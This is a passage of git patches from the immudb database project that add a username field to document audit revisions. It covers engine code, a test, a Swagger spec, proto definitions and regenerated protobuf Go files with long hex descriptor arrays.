0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, + 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, + 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, + 0x65, 0x22, 0x17, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x11, 0x3a, 0x01, 0x2a, 0x22, 0x0c, 0x2f, 0x64, + 0x62, 0x2f, 0x74, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x42, 0x91, 0x03, 0x92, 0x41, 0xe0, + 0x02, 0x12, 0xee, 0x01, 0x0a, 0x0f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, + 0x54, 0x20, 0x41, 0x50, 0x49, 0x12, 0xda, 0x01, 0x3c, 0x62, 0x3e, 0x49, 0x4d, 0x50, 0x4f, 0x52, + 0x54, 0x41, 0x4e, 0x54, 0x3c, 0x2f, 0x62, 0x3e, 0x3a, 0x20, 0x41, 0x6c, 0x6c, 0x20, 0x3c, 0x63, + 0x6f, 0x64, 0x65, 0x3e, 0x67, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x61, + 0x6e, 0x64, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x73, 0x61, 0x66, 0x65, 0x67, 0x65, 0x74, + 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x66, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x73, 0x20, 0x72, 0x65, 0x74, 0x75, 0x72, 0x6e, 0x20, 0x3c, 0x75, 0x3e, 0x62, 0x61, 0x73, 0x65, + 0x36, 0x34, 0x2d, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x3c, 0x2f, 0x75, 0x3e, 0x20, 0x6b, + 0x65, 0x79, 0x73, 0x20, 0x61, 0x6e, 0x64, 0x20, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x2c, 0x20, + 0x77, 0x68, 0x69, 0x6c, 0x65, 0x20, 0x61, 0x6c, 0x6c, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, + 0x73, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x61, 0x6e, 0x64, 0x20, 0x3c, + 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x73, 0x61, 0x66, 0x65, 0x73, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, + 0x64, 0x65, 0x3e, 0x20, 0x66, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x20, 0x65, 0x78, + 0x70, 0x65, 0x63, 0x74, 0x20, 0x3c, 0x75, 0x3e, 0x62, 0x61, 0x73, 0x65, 0x36, 0x34, 0x2d, 0x65, + 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x3c, 0x2f, 0x75, 0x3e, 0x20, 0x69, 0x6e, 0x70, 0x75, 0x74, + 0x73, 0x2e, 0x22, 0x04, 0x2f, 0x61, 0x70, 0x69, 0x5a, 0x59, 0x0a, 0x57, 0x0a, 0x06, 0x62, 0x65, + 0x61, 0x72, 0x65, 0x72, 0x12, 0x4d, 0x08, 0x02, 0x12, 0x38, 0x41, 0x75, 0x74, 0x68, 0x65, 0x6e, + 0x74, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x2c, 0x20, + 0x70, 0x72, 0x65, 0x66, 0x69, 0x78, 0x65, 0x64, 0x20, 0x62, 0x79, 0x20, 0x42, 0x65, 0x61, 0x72, + 0x65, 0x72, 0x3a, 0x20, 0x42, 0x65, 0x61, 0x72, 0x65, 0x72, 0x20, 0x3c, 0x74, 0x6f, 0x6b, 0x65, + 0x6e, 0x3e, 0x1a, 0x0d, 0x41, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, + 0x6e, 0x20, 0x02, 0x62, 0x0c, 0x0a, 0x0a, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, + 0x00, 0x5a, 0x2b, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x6f, + 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2f, + 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x62, 0x06, + 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, } var ( diff --git a/pkg/api/schema/schema.proto b/pkg/api/schema/schema.proto index 0ed6b9e902..f8c5d6f939 100644 --- a/pkg/api/schema/schema.proto +++ b/pkg/api/schema/schema.proto @@ -369,6 +369,8 @@ message TxHeader { message TxMetadata { // Entry expiration information uint64 truncatedTxID = 1; + // Extra data + bytes extra = 2; } // LinearProof contains the linear part of the proof (outside the main Merkle Tree) From a457bb3f99810f6939a925b8f2f29485b2334dab Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Thu, 28 Sep 2023 13:15:54 +0200 Subject: [PATCH 0820/1062] chore(embedded/document): attach username when auditing document Signed-off-by: Jeronimo Irazabal --- embedded/document/engine.go | 8 ++++++++ pkg/database/document_database_test.go | 1 + 2 files changed, 9 insertions(+) diff --git a/embedded/document/engine.go b/embedded/document/engine.go index c4547d7db4..a10aa08f8e 100644 --- a/embedded/document/engine.go +++ b/embedded/document/engine.go @@ -1254,9 +1254,16 @@ func (e *Engine) getDocument(key []byte, valRef store.ValueRef) (docAtRevision * EncodedDocument: encodedDocVal, } + var username string + + if valRef.TxMetadata() != nil { + username = string(valRef.TxMetadata().Extra()) + } + if encDoc.KVMetadata != nil && encDoc.KVMetadata.Deleted() { return &protomodel.DocumentAtRevision{ TransactionId: encDoc.TxID, + Username: username, Metadata: kvMetadataToProto(encDoc.KVMetadata), }, nil } @@ -1287,6 +1294,7 @@ func (e *Engine) getDocument(key []byte, valRef store.ValueRef) (docAtRevision * return &protomodel.DocumentAtRevision{ TransactionId: encDoc.TxID, + Username: username, Metadata: kvMetadataToProto(encDoc.KVMetadata), Document: doc, }, err diff --git a/pkg/database/document_database_test.go b/pkg/database/document_database_test.go index d481b54b48..741f6759b8 100644 --- a/pkg/database/document_database_test.go +++ b/pkg/database/document_database_test.go @@ -558,6 +558,7 @@ func TestDocumentDB_WithDocuments(t *testing.T) { for _, rev := range resp.Revisions { require.Equal(t, docID, rev.Document.Fields["_id"].GetStringValue()) + require.Equal(t, "admin", rev.Username) } }) From e35612ae57127a14c9d1f68cfcf71479dd94c79c Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Thu, 28 Sep 2023 13:16:39 +0200 Subject: [PATCH 0821/1062] feat(pkg/api): include username in document audit response Signed-off-by: Jeronimo Irazabal --- pkg/api/openapi/apidocs.swagger.json | 5 +- pkg/api/proto/documents.proto | 1 + pkg/api/protomodel/authorization.pb.go | 54 +-- pkg/api/protomodel/docs.md | 1 + pkg/api/protomodel/documents.pb.go | 518 +++++++++++++------------ 5 files changed, 297 insertions(+), 282 deletions(-) diff --git a/pkg/api/openapi/apidocs.swagger.json b/pkg/api/openapi/apidocs.swagger.json index 1308b33587..6998ee8340 100644 --- a/pkg/api/openapi/apidocs.swagger.json +++ b/pkg/api/openapi/apidocs.swagger.json @@ -970,6 +970,9 @@ }, "document": { "type": "object" + }, + "username": { + "type": "string" } }, "required": [ @@ -1684,4 +1687,4 @@ "ApiKeyAuth": [] } ] -} +} \ No newline at end of file diff --git a/pkg/api/proto/documents.proto b/pkg/api/proto/documents.proto index ce6b9775d3..354e53b796 100644 --- a/pkg/api/proto/documents.proto +++ b/pkg/api/proto/documents.proto @@ -446,6 +446,7 @@ message DocumentAtRevision { uint64 revision = 3; DocumentMetadata metadata = 4; google.protobuf.Struct document = 5; + string username = 6; } message DocumentMetadata { diff --git a/pkg/api/protomodel/authorization.pb.go b/pkg/api/protomodel/authorization.pb.go index 0a2889b9fd..2d9d41c8e9 100644 --- a/pkg/api/protomodel/authorization.pb.go +++ b/pkg/api/protomodel/authorization.pb.go @@ -15,7 +15,7 @@ // Code generated by protoc-gen-go. DO NOT EDIT. // versions: -// protoc-gen-go v1.28.1 +// protoc-gen-go v1.31.0 // protoc v3.21.12 // source: authorization.proto @@ -363,40 +363,40 @@ var file_authorization_proto_rawDesc = []byte{ 0x64, 0x65, 0x6c, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, - 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x3a, 0x82, 0xd3, 0xe4, 0x93, 0x02, - 0x20, 0x22, 0x1b, 0x2f, 0x61, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, - 0x6e, 0x2f, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x2f, 0x6f, 0x70, 0x65, 0x6e, 0x3a, 0x01, - 0x2a, 0x92, 0x41, 0x11, 0x0a, 0x0d, 0x61, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, - 0x69, 0x6f, 0x6e, 0x62, 0x00, 0x12, 0x8b, 0x01, 0x0a, 0x09, 0x4b, 0x65, 0x65, 0x70, 0x41, 0x6c, + 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x3a, 0x92, 0x41, 0x11, 0x0a, 0x0d, + 0x61, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x62, 0x00, 0x82, + 0xd3, 0xe4, 0x93, 0x02, 0x20, 0x3a, 0x01, 0x2a, 0x22, 0x1b, 0x2f, 0x61, 0x75, 0x74, 0x68, 0x6f, + 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, + 0x2f, 0x6f, 0x70, 0x65, 0x6e, 0x12, 0x8b, 0x01, 0x0a, 0x09, 0x4b, 0x65, 0x65, 0x70, 0x41, 0x6c, 0x69, 0x76, 0x65, 0x12, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x4b, 0x65, 0x65, 0x70, 0x41, 0x6c, 0x69, 0x76, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x4b, 0x65, 0x65, 0x70, 0x41, 0x6c, 0x69, 0x76, 0x65, 0x52, 0x65, 0x73, 0x70, - 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x3d, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x25, 0x22, 0x20, 0x2f, 0x61, - 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x73, 0x65, 0x73, - 0x73, 0x69, 0x6f, 0x6e, 0x2f, 0x6b, 0x65, 0x65, 0x70, 0x61, 0x6c, 0x69, 0x76, 0x65, 0x3a, 0x01, - 0x2a, 0x92, 0x41, 0x0f, 0x0a, 0x0d, 0x61, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, - 0x69, 0x6f, 0x6e, 0x12, 0x90, 0x01, 0x0a, 0x0c, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, + 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x3d, 0x92, 0x41, 0x0f, 0x0a, 0x0d, 0x61, 0x75, 0x74, 0x68, 0x6f, + 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x25, 0x3a, 0x01, + 0x2a, 0x22, 0x20, 0x2f, 0x61, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, + 0x6e, 0x2f, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x2f, 0x6b, 0x65, 0x65, 0x70, 0x61, 0x6c, + 0x69, 0x76, 0x65, 0x12, 0x90, 0x01, 0x0a, 0x0c, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, 0x73, - 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x39, 0x82, 0xd3, 0xe4, - 0x93, 0x02, 0x21, 0x22, 0x1c, 0x2f, 0x61, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, - 0x69, 0x6f, 0x6e, 0x2f, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x2f, 0x63, 0x6c, 0x6f, 0x73, - 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0f, 0x0a, 0x0d, 0x61, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, - 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x42, 0xad, 0x01, 0x5a, 0x2f, 0x67, 0x69, 0x74, 0x68, 0x75, - 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, - 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, - 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x92, 0x41, 0x79, 0x12, 0x27, 0x0a, - 0x12, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, - 0x20, 0x76, 0x32, 0x12, 0x11, 0x41, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, - 0x6f, 0x6e, 0x20, 0x41, 0x50, 0x49, 0x22, 0x07, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x76, 0x32, 0x5a, - 0x33, 0x0a, 0x31, 0x0a, 0x0a, 0x41, 0x70, 0x69, 0x4b, 0x65, 0x79, 0x41, 0x75, 0x74, 0x68, 0x12, - 0x23, 0x08, 0x02, 0x12, 0x12, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x20, 0x49, 0x64, 0x65, - 0x6e, 0x74, 0x69, 0x66, 0x69, 0x65, 0x72, 0x1a, 0x09, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, - 0x69, 0x64, 0x20, 0x02, 0x62, 0x10, 0x0a, 0x0e, 0x0a, 0x0a, 0x41, 0x70, 0x69, 0x4b, 0x65, 0x79, - 0x41, 0x75, 0x74, 0x68, 0x12, 0x00, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, + 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x39, 0x92, 0x41, 0x0f, + 0x0a, 0x0d, 0x61, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x82, + 0xd3, 0xe4, 0x93, 0x02, 0x21, 0x3a, 0x01, 0x2a, 0x22, 0x1c, 0x2f, 0x61, 0x75, 0x74, 0x68, 0x6f, + 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, + 0x2f, 0x63, 0x6c, 0x6f, 0x73, 0x65, 0x42, 0xad, 0x01, 0x92, 0x41, 0x79, 0x12, 0x27, 0x0a, 0x12, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, 0x20, + 0x76, 0x32, 0x12, 0x11, 0x41, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, + 0x6e, 0x20, 0x41, 0x50, 0x49, 0x22, 0x07, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x76, 0x32, 0x5a, 0x33, + 0x0a, 0x31, 0x0a, 0x0a, 0x41, 0x70, 0x69, 0x4b, 0x65, 0x79, 0x41, 0x75, 0x74, 0x68, 0x12, 0x23, + 0x08, 0x02, 0x12, 0x12, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x20, 0x49, 0x64, 0x65, 0x6e, + 0x74, 0x69, 0x66, 0x69, 0x65, 0x72, 0x1a, 0x09, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x69, + 0x64, 0x20, 0x02, 0x62, 0x10, 0x0a, 0x0e, 0x0a, 0x0a, 0x41, 0x70, 0x69, 0x4b, 0x65, 0x79, 0x41, + 0x75, 0x74, 0x68, 0x12, 0x00, 0x5a, 0x2f, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, + 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x70, 0x72, 0x6f, 0x74, + 0x6f, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, } var ( diff --git a/pkg/api/protomodel/docs.md b/pkg/api/protomodel/docs.md index 32cc6eb1a5..c056479c47 100644 --- a/pkg/api/protomodel/docs.md +++ b/pkg/api/protomodel/docs.md @@ -427,6 +427,7 @@ | revision | [uint64](#uint64) | | | | metadata | [DocumentMetadata](#immudb.model.DocumentMetadata) | | | | document | [google.protobuf.Struct](#google.protobuf.Struct) | | | +| username | [string](#string) | | | diff --git a/pkg/api/protomodel/documents.pb.go b/pkg/api/protomodel/documents.pb.go index 7e6f558854..002888450d 100644 --- a/pkg/api/protomodel/documents.pb.go +++ b/pkg/api/protomodel/documents.pb.go @@ -15,7 +15,7 @@ // Code generated by protoc-gen-go. DO NOT EDIT. // versions: -// protoc-gen-go v1.28.1 +// protoc-gen-go v1.31.0 // protoc v3.21.12 // source: documents.proto @@ -1862,6 +1862,7 @@ type DocumentAtRevision struct { Revision uint64 `protobuf:"varint,3,opt,name=revision,proto3" json:"revision,omitempty"` Metadata *DocumentMetadata `protobuf:"bytes,4,opt,name=metadata,proto3" json:"metadata,omitempty"` Document *structpb.Struct `protobuf:"bytes,5,opt,name=document,proto3" json:"document,omitempty"` + Username string `protobuf:"bytes,6,opt,name=username,proto3" json:"username,omitempty"` } func (x *DocumentAtRevision) Reset() { @@ -1931,6 +1932,13 @@ func (x *DocumentAtRevision) GetDocument() *structpb.Struct { return nil } +func (x *DocumentAtRevision) GetUsername() string { + if x != nil { + return x.Username + } + return "" +} + type DocumentMetadata struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache @@ -2580,7 +2588,7 @@ var file_documents_proto_rawDesc = []byte{ 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x74, 0x52, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x09, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x3a, 0x1c, 0x92, 0x41, 0x19, 0x0a, 0x17, 0xd2, 0x01, 0x08, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x49, 0x64, 0xd2, 0x01, 0x09, - 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x96, 0x02, 0x0a, 0x12, 0x44, 0x6f, + 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0xb2, 0x02, 0x0a, 0x12, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x74, 0x52, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, @@ -2595,263 +2603,265 @@ var file_documents_proto_rawDesc = []byte{ 0x0a, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x3a, 0x2d, 0x92, 0x41, 0x2a, 0x0a, 0x28, 0xd2, 0x01, 0x0d, 0x74, 0x72, 0x61, - 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0xd2, 0x01, 0x0a, 0x64, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0xd2, 0x01, 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, - 0x6f, 0x6e, 0x22, 0x3d, 0x0a, 0x10, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x4d, 0x65, - 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x12, 0x18, 0x0a, 0x07, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, - 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x64, - 0x3a, 0x0f, 0x92, 0x41, 0x0c, 0x0a, 0x0a, 0xd2, 0x01, 0x07, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, - 0x64, 0x22, 0x51, 0x0a, 0x15, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x29, 0x0a, 0x05, 0x71, 0x75, - 0x65, 0x72, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x05, - 0x71, 0x75, 0x65, 0x72, 0x79, 0x3a, 0x0d, 0x92, 0x41, 0x0a, 0x0a, 0x08, 0xd2, 0x01, 0x05, 0x71, - 0x75, 0x65, 0x72, 0x79, 0x22, 0x3d, 0x0a, 0x16, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x44, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x14, - 0x0a, 0x05, 0x63, 0x6f, 0x75, 0x6e, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x03, 0x52, 0x05, 0x63, - 0x6f, 0x75, 0x6e, 0x74, 0x3a, 0x0d, 0x92, 0x41, 0x0a, 0x0a, 0x08, 0xd2, 0x01, 0x05, 0x63, 0x6f, - 0x75, 0x6e, 0x74, 0x22, 0xe0, 0x01, 0x0a, 0x14, 0x41, 0x75, 0x64, 0x69, 0x74, 0x44, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x26, 0x0a, 0x0e, - 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1e, 0x0a, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x49, 0x64, 0x12, 0x12, 0x0a, 0x04, 0x64, 0x65, 0x73, 0x63, 0x18, 0x03, 0x20, 0x01, - 0x28, 0x08, 0x52, 0x04, 0x64, 0x65, 0x73, 0x63, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, 0x67, 0x65, - 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x70, 0x61, 0x67, 0x65, 0x12, 0x1a, 0x0a, 0x08, - 0x70, 0x61, 0x67, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x08, - 0x70, 0x61, 0x67, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x3a, 0x3c, 0x92, 0x41, 0x39, 0x0a, 0x37, 0xd2, - 0x01, 0x0e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, - 0xd2, 0x01, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0xd2, 0x01, 0x04, - 0x64, 0x65, 0x73, 0x63, 0xd2, 0x01, 0x04, 0x70, 0x61, 0x67, 0x65, 0xd2, 0x01, 0x08, 0x70, 0x61, - 0x67, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x22, 0x6a, 0x0a, 0x15, 0x41, 0x75, 0x64, 0x69, 0x74, 0x44, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, - 0x3e, 0x0a, 0x09, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, - 0x28, 0x0b, 0x32, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, - 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x74, 0x52, 0x65, 0x76, 0x69, - 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x09, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x3a, - 0x11, 0x92, 0x41, 0x0e, 0x0a, 0x0c, 0xd2, 0x01, 0x09, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, - 0x6e, 0x73, 0x22, 